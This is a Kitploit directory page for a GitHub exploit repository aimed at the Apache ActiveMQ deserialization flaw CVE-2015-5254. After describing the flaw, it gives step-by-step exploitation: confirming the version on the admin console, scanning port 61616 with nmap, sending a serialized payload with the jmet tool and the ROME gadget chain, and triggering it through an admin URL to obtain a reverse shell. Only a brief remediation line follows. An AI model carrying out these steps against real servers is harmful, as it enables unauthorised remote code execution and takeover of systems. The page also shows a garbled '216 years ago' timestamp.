Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ActiveMQ_CVE-2015-5254 — ActiveMQ_CVE-2015-5254 | Kitploit
Tools/GitHubGitHub/ma1dong/activemq_cve-2015-5254
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationRemote Access Tool
GitHubma1dong/activemq_cve-2015-5254

ActiveMQ_CVE-2015-5254

ActiveMQ_CVE-2015-5254

View Repository
216 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ActiveMQ Deserialization (CVE-2015-5254)

Vulnerability Description: Security vulnerabilities exist in Apache ActiveMQ versions before 5.13.0. The issue stems from the program not restricting the classes that can be serialized in the broker. Remote attackers can exploit this by sending a specially crafted serialized Java Message Service (JMS) ObjectMessage object to execute arbitrary code.

Affected Versions: Apache ActiveMQ 5.x versions prior to 5.13.0

0x01 Login to the background to confirm the version: http://IP:8161

Image text

0x02 Confirm port 61616 is open: nmap -sV -Pn -T4 -sC -p 61616 IP Image text

0x03 Send the reverse payload: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616 Image text

0x04 Click to trigger Browse event-Message ID, successfully obtain reverse shell: http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event Image text

Remediation Suggestion: Upgrade to the latest version, configure WAF rules to block attacks.

Download Tool